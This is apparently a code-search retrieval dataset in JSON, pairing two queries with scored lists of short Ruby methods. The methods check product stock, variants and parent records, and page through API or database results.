[ { "docid": "0477b24f8c3d3346c802e22fa47a6f39", "score": "0.81299907", "text": "def in_stock?\n if self.child_variants_exists?\n self.variants.roots.inject(false) { |any, i| any ||= i.child_variants_in_stock? }\n elsif self.has_variants?\n self.variants.inject(false) { |any, i| any ||= i.stock_control? ? i.stock > 0 : true }\n else\n stock_control? ? stock > 0 : true\n end\n end", "title": "" }, { "docid": "2187d814c5faa57a17b3e3d3926790fe", "score": "0.806004", "text": "def child_variants_in_stock?\n (self.child_variants_stock || 0) > 0 || self.child_variants_stock_control_disabled?\n end", "title": "" }, { "docid": "e9f88da71f6d43f8ab4757d207bbbe13", "score": "0.7762733", "text": "def variant?\n self.parent.present?\n end", "title": "" }, { "docid": "d4019f432c3f4b74f67e33c583a64b5a", "score": "0.7696389", "text": "def in_stock?\n default_variant.in_stock? || variants.any?(&:in_stock?)\n end", "title": "" }, { "docid": "675a8992db29c366a1ba7d6c1ca35366", "score": "0.75414234", "text": "def variant?\n !self.parent_id.blank?\n end", "title": "" }, { "docid": "675a8992db29c366a1ba7d6c1ca35366", "score": "0.75414234", "text": "def variant?\n !self.parent_id.blank?\n end", "title": "" }, { "docid": "a86cea777d7b955ddd1b136a2f94550e", "score": "0.7488826", "text": "def in_stock?\n self.default_variant ? self.default_variant.in_stock? : (stock_control? ? stock_count > 0 : true)\n end", "title": "" }, { "docid": "b0d2a074e6f78d13869bb0ecc58bc820", "score": "0.7456301", "text": "def in_stock?\n self.default_variant ? self.default_variant.in_stock? : (stock_control? ? stock > 0 : true)\n end", "title": "" }, { "docid": "b0d2a074e6f78d13869bb0ecc58bc820", "score": "0.7456301", "text": "def in_stock?\n self.default_variant ? self.default_variant.in_stock? : (stock_control? ? stock > 0 : true)\n end", "title": "" }, { "docid": "b0d2a074e6f78d13869bb0ecc58bc820", "score": "0.7456301", "text": "def in_stock?\n self.default_variant ? self.default_variant.in_stock? : (stock_control? ? stock > 0 : true)\n end", "title": "" }, { "docid": "c7ad071bc83cddb8655836db77af2da1", "score": "0.74509495", "text": "def in_stock?(prod_hash)\n response = false\n my_prod = Product.find(prod_hash.id)\n my_prod.variants.each do |variant|\n if variant[\"inventory_quantity\"].to_i > 0\n response = true\n end\n end\n return response\nend", "title": "" }, { "docid": "c9b52feca528b88f351f277cbeb88bdb", "score": "0.7419225", "text": "def is_a_variant?\n self.parent_id.nil?\n end", "title": "" }, { "docid": "924838d1f8f495a4b88a016cdc95ef18", "score": "0.74093765", "text": "def in_stock?\n default_variant ? default_variant.in_stock? : (stock_control? ? stock > 0 : true)\n end", "title": "" }, { "docid": "d7b38b58ab9a15d1dba96e2029069c9f", "score": "0.73727196", "text": "def in_stock?\n has_inventory? 1\n end", "title": "" }, { "docid": "e6beb454b7cb0948b7ef9d22a7aa025f", "score": "0.7211654", "text": "def in_stock?\n stock_level > 0\n end", "title": "" }, { "docid": "89584dd6e3053514611d1ef7b06db572", "score": "0.71212816", "text": "def visible_on_catalog?\n self.variants.each do |variant|\n if variant.stock > 0\n return true\n end\n false\n end\n end", "title": "" }, { "docid": "61e3ec2175d206c569839298064286a2", "score": "0.7106693", "text": "def virtual_product?\n begin\n istomp = Product.find(\"istomp\")\n self.parents.include?(istomp)\n rescue\n false\n end\n end", "title": "" }, { "docid": "c9ca58893c1259ffe4d241022da87699", "score": "0.7096177", "text": "def in_stock?\n @stock > 0\n end", "title": "" }, { "docid": "30955203a2669fde9a839072b4fbe880", "score": "0.7075965", "text": "def in_stock?\n\t\t@stock > 0\n\tend", "title": "" }, { "docid": "88a0db8daf64a5d64e99d0ea522e4253", "score": "0.70537883", "text": "def in_stock?\n skus.map {|s| s.stock_level > 0}.any?\n end", "title": "" }, { "docid": "05a006e2e93b240fa8c00703dda71d7b", "score": "0.7028858", "text": "def in_stock?\n\t\t@stock > 0\t\t\n\tend", "title": "" }, { "docid": "d299bef696dd38f47ffd13817e1e7c5a", "score": "0.70260406", "text": "def in_stock?\n skus.active.map(&:in_stock?).include?(true) ? true : false\n end", "title": "" }, { "docid": "30692088f1b5a1fea7387ff09cb6a277", "score": "0.7025091", "text": "def visible_on_catalog?\n \n\n total_stock = self.variants.map(&:stock).inject(0,&:+)\n (total_stock > 0)\n end", "title": "" }, { "docid": "05a71b1296854c9e1fc3c052040a568b", "score": "0.70112294", "text": "def in_stock?\n @stock > 0\n end", "title": "" }, { "docid": "439952854712238a4667fad02d41a2eb", "score": "0.6991073", "text": "def in_stock?\n \t@stock > 0\n end", "title": "" }, { "docid": "aa8e09db8e44ecc66aa30962dfdc6e62", "score": "0.69782066", "text": "def has_in_stock(qty)\n \tif self.qty_in_stock >= qty\n \t\treturn true\n \telse\n \t\treturn false\n \tend\n end", "title": "" }, { "docid": "de3e71967fcf0569175922bea1ef7619", "score": "0.6974081", "text": "def in_stock?\n @stock > 0 \n end", "title": "" }, { "docid": "ec267eadee35c883de966d78149a727b", "score": "0.6969524", "text": "def child_variants_stock_control_disabled?\n if self.root_variant?\n self.descendants.where(:stock_control => false).length > 0\n else\n false\n end\n end", "title": "" }, { "docid": "1792d9ed04f464058ab8a6ed828261b8", "score": "0.69512177", "text": "def in_stock?\n stock > 0\n end", "title": "" }, { "docid": "2b0ff3e9a24bd79fb5feb5d18935945c", "score": "0.68807495", "text": "def in_stock?\n stock == 0 ? false : true\n end", "title": "" }, { "docid": "29163357cc938681165c894c9f8e2927", "score": "0.68742734", "text": "def in_stock?\n if self.ordered_item && self.ordered_item.stock_control?\n self.ordered_item.stock >= unallocated_stock\n else\n true\n end\n end", "title": "" }, { "docid": "d70ec7de676dab2d843e882beaec8769", "score": "0.6822089", "text": "def in_stock?\n\n # Iterate over all related styles\n self.sizes.each do |size|\n return true if size.stock > 0\n end\n\n false\n end", "title": "" }, { "docid": "c709e3d9a56925526b415d18a7d8cfda", "score": "0.6805919", "text": "def in_stock?\n stock == 'IN'\n end", "title": "" }, { "docid": "a00bfc70486d2d7864a624768b8b5b6d", "score": "0.6734594", "text": "def sufficient_stock?\n quantity <= product.available_stock\n end", "title": "" }, { "docid": "16538626dc7a72d87daac096d4100ac4", "score": "0.67152476", "text": "def low_stock?\n (quantity_available) <= Variant::LOW_STOCK_QTY\n end", "title": "" }, { "docid": "0bb595b34d26c6eb5cc367428db614b9", "score": "0.67144763", "text": "def should_track_inventory?\n Spree::Config.track_inventory_levels && (self.track_inventory || self.product.assembly? && self.is_master?)\n end", "title": "" }, { "docid": "9da826753a3ee7036c8e06be351964d2", "score": "0.669858", "text": "def tracking_inventory?\n respond_to?(:stock_levels) and not(stock_levels.nil?)\n end", "title": "" }, { "docid": "fd1b1659ba32c8ed48af3d43fe82b38c", "score": "0.6692936", "text": "def master?\n !variant?\n end", "title": "" }, { "docid": "ad9cb7cfc2da69ad909c39c7b1b8c923", "score": "0.66827244", "text": "def out_of_stock?\n self.cart_items.any? do |cart_item|\n cart_item.quantity.to_i > cart_item.inventory_item.quantity_available\n end\n end", "title": "" }, { "docid": "6aa1375756130eccfaf2291cd2e2dce3", "score": "0.66792595", "text": "def child_variants_stock\n if self.root_variant?\n self.descendants.where(:stock_control => true).inject(0) { |sum, a| sum + a.stock_level_adjustments.sum(:adjustment) }\n end\n end", "title": "" }, { "docid": "42e66c3c127893b664bd63dca5c65f56", "score": "0.66763604", "text": "def in_stock?\n storage.in_stock?(to_hash)\n end", "title": "" }, { "docid": "0ffea8b6f705f51f3a44eec1dc3a81ef", "score": "0.6672654", "text": "def has_variants\n object.has_variants?\n end", "title": "" }, { "docid": "bd767c92d89eba5117967be2b9ae213b", "score": "0.6645963", "text": "def in_stock?(quantity = 1, store = nil)\n store = Store.current if store.nil?\n\n if self.magento_type == 'configurable'\n inventories = Inventory.where(product_id: self.simple_products.active.select(:id), store: store)\n\n if inventories.empty? # no inventories means inventory is not tracked\n return true\n else\n inventories.each do |inventory|\n return true if inventory.in_stock?(quantity)\n end\n\n return false\n end\n\n else\n if inventory = self.inventories.find_by(store: store)\n return inventory.in_stock?(quantity)\n else\n return true\n end\n end\n end", "title": "" }, { "docid": "7ad99ba58c6574f91e795eeaa5aae602", "score": "0.66389173", "text": "def tracked_stock?\n return false if infinite_stock?\n vanilla? || bundle? || composite? || package?\n end", "title": "" }, { "docid": "e71461876c3a96889bc6c624543c23a3", "score": "0.6586706", "text": "def visible_on_web?\n self.variants.each do |variant|\n if variant.stock > 0\n return true\n end\n false \n end\n end", "title": "" }, { "docid": "237812c3c968c25106646eeb1c80d8ea", "score": "0.6566403", "text": "def have_parent_share\n have_calculated_value(:parent_share)\n end", "title": "" }, { "docid": "b02d2d81886293b1b6be89e1e3ed7503", "score": "0.656336", "text": "def stock?\n area.instance_of? Stock\n end", "title": "" }, { "docid": "c18ac5be604c4eb45eb1de043dd430a8", "score": "0.6538253", "text": "def verifica_stock?\n puts \"CHAMOU O METODO VERIFICA STOCK\"\n if quantity > product.stock\n puts \"Quantidade insuficiente em STOCK\"\n return false\n end\n return true\n end", "title": "" }, { "docid": "b23459aeeb2b5dcdb4cbee71db26192f", "score": "0.6521642", "text": "def holding?(stock)\n assets.include?(stock)\n end", "title": "" }, { "docid": "b34a4d676d08ba0514062bfda411de64", "score": "0.6508042", "text": "def root_variant?\n self.variant? && self.root?\n end", "title": "" }, { "docid": "373cc3ef073ec66f343e112460e00fbf", "score": "0.6504759", "text": "def has_parent?\n \n return @parent ? true : false\n \n end", "title": "" }, { "docid": "48d38ab58d1fe4047c7db2adda4fb68c", "score": "0.6499035", "text": "def is_a_variant?\n !variant_id.blank?\n end", "title": "" }, { "docid": "bf779dd438277c4286925ba32db13b0b", "score": "0.6485613", "text": "def items_in_stock\n cart_items.none? { |item| item.item_quantity > item.product.inventory_count }\n end", "title": "" }, { "docid": "3a9d8599e7bcabb66732adac0f7df0d8", "score": "0.6453315", "text": "def is_quantity_inflated\n qty_inf = Spree::QuantityInflation.includes(:variant).where(\"spree_variants.product_id=?\", self.id)\n return qty_inf.present?\n end", "title": "" }, { "docid": "10331283392776b67a8870d269d62fd5", "score": "0.64497054", "text": "def out_of_stocks?\n line_items.any?(&:sufficient_stock?) == false\n end", "title": "" }, { "docid": "88d3f6b44c8822cd0c6161ed718a19e7", "score": "0.6433695", "text": "def child_of?(parent); end", "title": "" }, { "docid": "88d3f6b44c8822cd0c6161ed718a19e7", "score": "0.6433695", "text": "def child_of?(parent); end", "title": "" }, { "docid": "e4674aadd5309fec5fe03dd5b97953da", "score": "0.6425818", "text": "def items_in_stock\n cart_items.none? { |item| item.item_quantity > item.product.quantity }\n end", "title": "" }, { "docid": "a8abaa2d6ba56856d0a26ad2748b8a2e", "score": "0.64257896", "text": "def is_parent?\n return true\n end", "title": "" }, { "docid": "a8abaa2d6ba56856d0a26ad2748b8a2e", "score": "0.64257896", "text": "def is_parent?\n return true\n end", "title": "" }, { "docid": "d113da924f9ae584be2c5a891b0bc9dc", "score": "0.64202213", "text": "def parent?()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "c83ca8283dbb254f06983a87c774d14f", "score": "0.63976115", "text": "def in_stock?(maybe_removed = -1)\n self.stock + maybe_removed >= 0 ? true : false\n end", "title": "" }, { "docid": "f985bf0909b63f250e683bfc49abdda1", "score": "0.6395131", "text": "def parent?\n children.exists?\n end", "title": "" }, { "docid": "f4a6f1cc1d8743fc88a60be172fded57", "score": "0.6389096", "text": "def has_parent?\n !parent.nil?\n end", "title": "" }, { "docid": "06493f446f39f1e3eaefce76aaa77594", "score": "0.6387486", "text": "def has_variants?\n !variants.empty?\n end", "title": "" }, { "docid": "2e1aa0f8afd391a7c2df0825209e213d", "score": "0.6382366", "text": "def equipped?\n return @parent_inventory.is_a?(EquipSlot)\n end", "title": "" }, { "docid": "f45f769fe7dffb746fa7cff242a6f698", "score": "0.63729066", "text": "def sold_out?\n (quantity_available) <= Variant::OUT_OF_STOCK_QTY\n end", "title": "" }, { "docid": "90952ad4e05b889e9ce1b2e19f069d13", "score": "0.6366402", "text": "def check_stock_levels(variant, quantity)\n display_name = %Q{#{variant.name}}\n display_name += %Q{ (#{variant.options_text})} unless variant.options_text.blank?\n\n if check_assembly_stock_levels(variant, quantity)\n true\n else\n errors.add(:base, Spree.t(:out_of_stock, :scope => :order_populator, :item => display_name.inspect))\n return false\n end\n end", "title": "" }, { "docid": "1aa25b1074b834e12f1db335bd605245", "score": "0.63484913", "text": "def contains?(variant)\n return false if variant.product.is_gift_card?\n line_items.detect { |line_item| line_item.variant_id == variant.id }\n end", "title": "" }, { "docid": "364c33ce7f2e5e48c5c356ba6c3aa6c9", "score": "0.63453937", "text": "def has_parent?(taxon)\n parent_taxon = self.parent\n while parent_taxon.present?\n return true if parent_taxon == taxon\n parent_taxon = parent_taxon.parent\n end\n false\n end", "title": "" }, { "docid": "0e017dde528d70fbf966c157b76ec501", "score": "0.63385326", "text": "def backordered?\n variants_including_master.any?(&:backordered?)\n end", "title": "" }, { "docid": "1b1797f96a2aba043036b976b1d8d2e3", "score": "0.6330877", "text": "def check_for_duplicate_entry\n stock_product = Spree::StockProduct.includes(:sellers_market_places_product).unscoped.where(\"sellers_market_places_product_id=? AND variant_id=?\", self.sellers_market_places_product_id, self.variant_id)\n return false if stock_product.present?\n end", "title": "" }, { "docid": "a76aef2d98d742e49d5f7cb01a52845c", "score": "0.63220686", "text": "def parent_saved?\n !parent.id.nil?\n end", "title": "" }, { "docid": "3fe041bb7898fc09fa1a642d39a53fa3", "score": "0.6317683", "text": "def any_variants_not_track_inventory?\n return true unless self.vendor.track_inventory\n if variants_including_master.loaded?\n variants_including_master.any? { |v| !v.track_inventory? }\n else\n variants_including_master.where(track_inventory: false).exists?\n end\n end", "title": "" }, { "docid": "3f9b429ffefc29361ab60cfece44c0cf", "score": "0.63113266", "text": "def out_of_stock?\n stock_level < 1\n end", "title": "" }, { "docid": "5de17b454eaea06312da848e6d7df3d2", "score": "0.6305102", "text": "def is_parent()\n !in_child\n end", "title": "" }, { "docid": "940ced0f86de83a5a0f511a4c48661eb", "score": "0.63042206", "text": "def is_parent?\n @parent_id == 0\n end", "title": "" }, { "docid": "9774d045770de81b0b3fdb06de33bb97", "score": "0.63030905", "text": "def has_parent?\n !parent.nil?\n end", "title": "" }, { "docid": "3bfdfd73308f5f83bc71cf98529c6deb", "score": "0.6303039", "text": "def has_variants?\n !variants.empty?\n end", "title": "" }, { "docid": "3bfdfd73308f5f83bc71cf98529c6deb", "score": "0.6303039", "text": "def has_variants?\n !variants.empty?\n end", "title": "" }, { "docid": "3bfdfd73308f5f83bc71cf98529c6deb", "score": "0.6303039", "text": "def has_variants?\n !variants.empty?\n end", "title": "" }, { "docid": "f99cf0d1a5e3a0b4bf476a73d432abb0", "score": "0.6294018", "text": "def is_portfolio?\n self.parent_id == -1 ? true : false\n end", "title": "" }, { "docid": "832bb6e73fb1237e14b999347fa5180f", "score": "0.62938285", "text": "def has_parents?\n if Parent.find :first, :conditions => {:feature_id => self.id}\n true\n else\n false\n end\n end", "title": "" }, { "docid": "be8f0dcbd381b2c171fc4751de4f371c", "score": "0.62904114", "text": "def hay_stock_componentes?\n unless combo_detalles.nil?\n combo_detalles.each { |cd| return false unless cd.hay_stock? }\n end\n \n true\n end", "title": "" }, { "docid": "8e0c336a73345f8da8f922c6457128cf", "score": "0.6286637", "text": "def has_parent?\n !orphan?\n end", "title": "" }, { "docid": "a6c6ce1bde72da6e5832d2c458ed3edb", "score": "0.6283801", "text": "def orderable?\n return false unless self.active?\n return false if self.has_variants?\n true\n end", "title": "" }, { "docid": "a6c6ce1bde72da6e5832d2c458ed3edb", "score": "0.6283801", "text": "def orderable?\n return false unless self.active?\n return false if self.has_variants?\n true\n end", "title": "" }, { "docid": "a6c6ce1bde72da6e5832d2c458ed3edb", "score": "0.6283801", "text": "def orderable?\n return false unless self.active?\n return false if self.has_variants?\n true\n end", "title": "" }, { "docid": "a6c6ce1bde72da6e5832d2c458ed3edb", "score": "0.6283801", "text": "def orderable?\n return false unless self.active?\n return false if self.has_variants?\n true\n end", "title": "" }, { "docid": "a6c6ce1bde72da6e5832d2c458ed3edb", "score": "0.6283801", "text": "def orderable?\n return false unless self.active?\n return false if self.has_variants?\n true\n end", "title": "" }, { "docid": "d672a60bc77a87b525363aa6bd9740fe", "score": "0.6276155", "text": "def is_child?\n @parent_id > 0\n end", "title": "" }, { "docid": "7a65811dbdde0bc86a407d05ebfb55f9", "score": "0.62706584", "text": "def parent?\n parent_key_id.present?\n end", "title": "" }, { "docid": "bfd8044abf5b20609f6a699393c20555", "score": "0.6267802", "text": "def has_parent?\n not self.parents[0].nil?\n end", "title": "" }, { "docid": "5f64f5c708c9ba522215cb4a2557e501", "score": "0.62617", "text": "def parent?\r\n true \r\n end", "title": "" }, { "docid": "cd94c0c8dd3e31d677dac58c2f61b19a", "score": "0.62603015", "text": "def isInParent?(ident)\n key = ident.to_sym\n return @parent.isIn?(key)\n end", "title": "" }, { "docid": "33372694c9c3f55598a3f4162eee2fa1", "score": "0.6260096", "text": "def has_variants?\n variants.present?\n end", "title": "" }, { "docid": "e4b14c706e66181ae1477e5857755987", "score": "0.6258866", "text": "def has_variants?\n !@variants.blank?\n end", "title": "" }, { "docid": "e4b14c706e66181ae1477e5857755987", "score": "0.6258866", "text": "def has_variants?\n !@variants.blank?\n end", "title": "" }, { "docid": "b37274170f4d1d9e72f37b04145be883", "score": "0.6251618", "text": "def parent?\n !!@parent\n end", "title": "" }, { "docid": "c4d73bc80cb96b8855b98b002578f960", "score": "0.62442005", "text": "def subevent?\n data.has_key?(\"parent\")\n end", "title": "" } ]
07167d49fd2f155d5245990d1c3cd09c
Page through the results. Due heavy use of the API, this method takes a qps parameter to control how often the API is called.
[ { "docid": "381908c8894df40c0a70a1754c7f78c5", "score": "0.73347646", "text": "def fetch_all(qps=DEFAULT_QUERIES_PER_SECOND)\n response = execute\n items = response['items']\n\n while response['current_page'] < response['total_pages']\n self.page = response['current_page'] + 1\n response = execute\n items = items + response['items']\n \n sleep(1.0/DEFAULT_QUERIES_PER_SECOND)\n end\n\n return items\n end", "title": "" } ]
[ { "docid": "c4df938acc46a3f5361616c960343ef6", "score": "0.7146698", "text": "def page\n raise 'page() requires a block' unless block_given?\n\n response = yield(1)\n num_records = response['size']\n\n if num_records.is_a?(Integer) && num_records > 25\n pages = (num_records / 25) + 1\n # start at 2 since first call returned first page\n for counter in 2..pages\n @logger.debug \"Retrieving page #{counter} of #{pages}\"\n results = yield(counter)['results']\n response['results'].concat(results) if results\n end\n end\n\n hash_response(response)\n end", "title": "" }, { "docid": "905bf98203e9cba89552b265f985b1d9", "score": "0.6925761", "text": "def paginate_all_data(url:, more_params: nil)\n query_params = \"since=#{@start_date}&until=#{@end_date}#{more_params ? \"&#{more_params}\" : ''}\"\n total_count = parse_json_from_api(\"#{url}?#{query_params}\")['page']['total_elements']\n puts \"[#{Time.new.strftime('%k:%M')}] total count for #{url}?#{query_params}: #{total_count}\"\n idx = 0\n result = []\n while idx * PER_PAGE < total_count\n result += parse_json_from_api(\"#{url}?page=#{idx}&per_page=#{PER_PAGE}&#{query_params}\")['data']\n idx += 1\n end\n puts \"[#{Time.new.strftime('%k:%M')}] ERROR: result.length #{result.length} != total_count #{total_count}\" if result.length != total_count\n result\nrescue MyApiError\n []\nend", "title": "" }, { "docid": "70c8cb13b3fd0bffba655b4601ef1d73", "score": "0.6702991", "text": "def paginated(result, params, with = API::Entities::Notification)\n env['auc_pagination_meta'] = params.to_hash\n if result.respond_to?(:count) && result.count > params[:limit]\n env['auc_pagination_meta'][:has_more] = true\n result = result[0, params[:limit]]\n end\n present result, with: with\n end", "title": "" }, { "docid": "ded5e0ce5853cc73f51be4389d88f3da", "score": "0.66876465", "text": "def load\n return self if @entity[:next].nil? || @entity[:results].length == @entity[:total]\n\n np = self\n until np.next.nil?\n np = np.next_page\n @entity[:results].concat(np.results.map(&:to_h))\n end\n @entity[:next] = nil\n @entity[:per_page] = @entity[:total]\n self\n end", "title": "" }, { "docid": "6a112fd05277c7af96cceed00ff7c470", "score": "0.6671937", "text": "def pagy_get_items(collection, pagy)\n # this should work with ActiveRecord, Sequel, Mongoid...\n collection.offset(pagy.offset).limit(pagy.items)\n end", "title": "" }, { "docid": "e185cc76db73bbd43403e7e002e7c884", "score": "0.6640921", "text": "def per_page; end", "title": "" }, { "docid": "7e1c3bbba6559b2a698f6837428cf34f", "score": "0.66090333", "text": "def collect1 pages\n id = 'joshuabaer'\n results = []\n 1.upto pages do |page|\n results += http_get id, page\n end\n results\nend", "title": "" }, { "docid": "e78b4d0584647c367a93dddd239b8607", "score": "0.6589302", "text": "def paginate!(*args) # @private :nodoc:\n options = args.extract_options!\n self.items_per_page = options[:per_page] || 50\n self.current_page = args.first || 1\n self.limit_value = items_per_page\n self.offset_value = items_per_page * (current_page - 1)\n end", "title": "" }, { "docid": "d20f927f3aa5b104e157738efb6d5a4b", "score": "0.6582498", "text": "def get_results\n\n # An internal counter to get the next\n # set of results from the API\n @result_count = 0\n\n # An array into which the API results can\n # be collected\n @results = []\n\n # Get the first set of results from the API\n json_response = self.query\n\n while true\n\n # Exit the loop if the API doesn't return\n # any results and set the \"skip\" attribute\n # to nil\n if json_response['result_count'] == 0\n self.skip= nil\n break\n end\n\n # Add the count of the returned results to the\n # internal result counter's current value\n @result_count += json_response['result_count']\n\n # Append the current results to the results\n # array\n @results << json_response['results']\n\n # Set the \"skip\" attribute to the value\n # on the internal result counter\n self.skip= @result_count\n\n # Get the next set of results from the API\n json_response = self.query\n\n # A simple progress bar\n print \"#\"\n\n end\n\n # Print the total result count to the console\n puts \"\\nFound #{@result_count} results.\"\n\n return @results\n\n end", "title": "" }, { "docid": "9978fb0019db2b84b175c811c4b8fdb2", "score": "0.6575466", "text": "def pages\n results_per_page = 10.0 # make this float so when we compute pages, we get right value\n page = params[:id].to_i - 1 # for page 1, minus 1 to get records with 0 offset\n @tweets = Tweet.offset( results_per_page * page ).take( results_per_page ); # get records offset by page id\n @pages = (Tweet.count / results_per_page).ceil\n @page = params[:id].to_i\n end", "title": "" }, { "docid": "177f9e8e41f7ff89196cd76075b7b06e", "score": "0.6560357", "text": "def fetch_billing_results\n previous_response = nil\n begin\n page = get_page_number\n\n response = Select.fetch_billing_results(@start_timestamp, @end_timestamp,\n page, @page_size)\n unless !response.is_a?(Array)\n process_response(response)\n previous_response = response\n end\n end until !response.is_a?(Array)\n reset_page_number\n\n set_empty_last_fetch_soap_id(response, previous_response)\n end", "title": "" }, { "docid": "844d68eca172dab5c3f182eb06c6a7ef", "score": "0.6522395", "text": "def paginate(path, params = {}, opts = {})\n data = get(path, params, opts.merge({'raw' => true}))\n\n while data\n if data['results'].is_a?(Array)\n data['results'].each do |result|\n yield(result)\n end\n else\n yield(data['results'])\n end\n\n if data['pagination'] and data['pagination']['links']['next']\n data = get(data['pagination']['links']['next'], {}, opts.merge({'raw' => true}))\n else\n data = nil\n end\n end\n end", "title": "" }, { "docid": "c3e17696c295d55905aa0855b26cd1f0", "score": "0.6518702", "text": "def iterate(params = {})\n query_record_count = count(params)\n @http_client = @http_client.headers({ 'Accept' => \"application/#{@accept}\" })\n default_query_params = {size: 1, offset: 0}\n query_options = params.dup\n query_options.delete :page\n query_options.delete :pageSize\n query_params = default_query_params.merge(query_options)\n while query_params[:offset] < query_record_count\n response = @http_client.post url, json: query_params\n act response\n query_params[:offset] += query_params[:size]\n end\n 'done'\n end", "title": "" }, { "docid": "edc9af07c919d0d1e117818356a3ea6a", "score": "0.6509158", "text": "def paginate(options={})\n page = [options[:page].to_i, 1].max\n per_page = (options[:per_page] || per_page).to_i\n request[:args].update(start: (page - 1) * per_page, hit: per_page)\n self\n end", "title": "" }, { "docid": "ee714b40772f3bde5efa859699666b69", "score": "0.6508627", "text": "def paginate(options = {})\n raise ArgumentError, \"parameter hash expected (got #{options.inspect})\" unless Hash === options\n\n page = (options[:page] || 1).to_i\n per_page = (options[:per_page] || 30).to_i\n\n @total_entries = count\n @total_pages = (@total_entries / per_page.to_f).ceil\n @current_page = page\n\n query.update(offset: (page - 1) * per_page, limit: per_page)\n\n self\n end", "title": "" }, { "docid": "cb168f42b36545f8a6b3d4761195e2e4", "score": "0.64909", "text": "def get_all_pages(resource, path, id, query = {})\n items = []\n offset = 0\n xid = make_transaction_id\n\n loop do\n page = request(\n resource: resource,\n path: path,\n params: query.merge(start_index: offset),\n transaction_id: xid,\n resource_id: id,\n )\n new_items = page[\"items\"]\n total = page[\"total_results\"] || new_items.count\n\n items += new_items\n offset += new_items.count\n\n break if items.count >= total\n end\n\n items\n end", "title": "" }, { "docid": "96ef3e35300ec1aaddf3eb120fa156a1", "score": "0.64860564", "text": "def per_page\n 1_000\n end", "title": "" }, { "docid": "d97b3bf03ed2a8890a8e89f3394cf5b4", "score": "0.6483779", "text": "def handle_pagination(query, ts_params, result)\n # Tablesorter submits row count or simply 'all'. If user requests more rows\n # than available do nothing.\n return query if (ts_params[:size] == 'all') || (ts_params[:size].to_i >= result[:total_rows])\n\n query.limit(ts_params[:size].to_i).offset(ts_params[:size].to_i * ts_params[:page].to_i)\n end", "title": "" }, { "docid": "38b0054cb994c1ea51fad752d22da7c1", "score": "0.64760476", "text": "def paginate_request(api_method, field, page_size = 1000, method_params = {}) # :nodoc:\n begin\n $log.debug sprintf(\"%s: enter\", __method__)\n\n current_page = 1\n num_results = page_size\n final_response = {}\n results = []\n\n $log.info sprintf(\"%s: requesting pages of %i items\", __method__, page_size)\n\n while num_results >= page_size\n\n method_params.merge!({'page' => current_page})\n method_params.merge!({'page_size' => page_size})\n\n $log.debug sprintf(\"requesting %s: %s\", api_method, method_params.inspect)\n\n response = execute_request(api_method.to_sym, method_params)\n\n page_results = response.fetch('data', {}).fetch(field, [])\n\n $log.info sprintf(\"%s returned batch of %i results\", api_method, page_results.length)\n\n results.concat(page_results)\n\n $log.info sprintf(\"%i total results collected from %s\", results.length, api_method)\n\n num_results = page_results.length\n\n current_page = current_page.next\n\n final_response.deep_merge!(response)\n end\n\n final_response['data'].store(field, results.uniq)\n\n final_response\n\n rescue Surveymonkey::Error => e\n $log.error sprintf(\"SurveyMonkey API error: %s\", e.message)\n raise e\n\n rescue StandardError => e\n $log.error(sprintf(\"%s: %s\", __method__, e.message))\n raise e\n\n end\n end", "title": "" }, { "docid": "e50bcd2eb74a9c3a53482e1f34fb13cf", "score": "0.647088", "text": "def pages(options={}, page=0, limit=15, do_iterate=false, with_attachments=false)\n $stderr.puts \"[debug] pages(options=#{options}, page=#{page}, limit=#{limit}, do_iterate=#{do_iterate})\" if @debug\n opts = options.dup\n max_rows = max_numrows(opts)\n $stderr.puts \"[debug] pages() max_rows=#{max_rows}\" if @debug\n \n opts[\"limit\"] = limit\n if options.has_key?(\"group\") and options[\"group\"].to_s == \"true\"\n opts.delete(\"reduce\")\n opts.delete(\"include_docs\")\n else\n opts.delete(\"group\")\n opts[\"reduce\"] = \"false\"\n end\n \n yield_skip_page(limit, max_rows, page) do |i_limit, skip, current_page, max_page|\n opts[\"skip\"] = skip\n opts[\"limit\"] = i_limit\n uri = gen_view_uri(opts)\n $stderr.puts \"[debug] pages() uri=#{uri}\" if @debug\n \n resset = YALTools::YaJsonRows.new(@couch, @dbname)\n json = @couch.get(uri)\n json.has_key?(\"rows\") and yield_rows(json[\"rows\"]) do |doc|\n if with_attachments and doc.has_key?(\"_attachments\")\n resset << get_page_with_attachment(doc) \n else\n resset << doc\n end\n end\n if do_iterate\n yield [resset, skip, current_page, max_page ,max_rows]\n else\n return [resset, skip, current_page, max_page ,max_rows]\n end\n end\n ## return [YALTools::YaJsonRows.new(@couch, @dbname), opts[\"skip\"], 0,0,0]\n end", "title": "" }, { "docid": "3282eb0db2e659b979cbef4d3c3fa465", "score": "0.64474237", "text": "def each_page(batch_size = nil, &block)\n Enumerator.new do |result|\n i = 0\n records_passed = 0\n request = per_page(batch_size ||= per_page_size)\n page_records = []\n total_count = Float::INFINITY\n\n while (records_passed += page_records.count) < total_count\n response = request.page(i += 1).perform\n total_count = response.total_count\n result << page_records = response.results\n break if response.results.empty?\n end\n end.each(&block)\n end", "title": "" }, { "docid": "16bd1c10a3a4844dbb458bfb314014d8", "score": "0.64411426", "text": "def per_page(num)\n @query[:rpp] = num\n self\n end", "title": "" }, { "docid": "9d55c701fa50baefafda835aec92180c", "score": "0.6437773", "text": "def per_page\n 10\n end", "title": "" }, { "docid": "eb2a2b95b5589d4ff232255c52f5b94c", "score": "0.6436545", "text": "def auto_paging_each(&blk)\n return enum_for(:auto_paging_each) unless block_given?\n\n page = self\n\n loop do\n page.each(&blk)\n page = page.next_search_result_page\n\n break if page.empty?\n end\n end", "title": "" }, { "docid": "937c0bafc3e43e65c30d0249577a835c", "score": "0.6431934", "text": "def next_page\n if next_page?\n @query[:startPage] += 1\n fetch\n end\n end", "title": "" }, { "docid": "4f32cc17ac5cdb0668074552aae14dad", "score": "0.6430108", "text": "def do_pagination\n @page_number = 1\n if params[:page] && params[:page].to_i > 0\n @page_number = params[:page].to_i\n end\n @pagination = true\n @pagination_options = { :limit => items_per_page, :offset => (@page_number - 1) * items_per_page }\n @pagination_options = {} if params[:all]\n end", "title": "" }, { "docid": "887c2401248336f532ef8f93987e5bc6", "score": "0.64282763", "text": "def page (page = 1)\n\t \tdiff = (page - 1) * 10\n\t \tall.offset(diff).limit(10)\n\t end", "title": "" }, { "docid": "9d1efe11ef146462ef7511c63c689c92", "score": "0.64240825", "text": "def paginator\n per_page = @ruhoh.db.config(\"paginator\")[\"per_page\"]\n current_page = master.context[\"page\"]['current_page'].to_i rescue 0\n current_page = current_page.zero? ? 1 : current_page\n offset = (current_page-1)*per_page\n\n page_batch = all[offset, per_page]\n raise \"Page does not exist\" unless page_batch\n 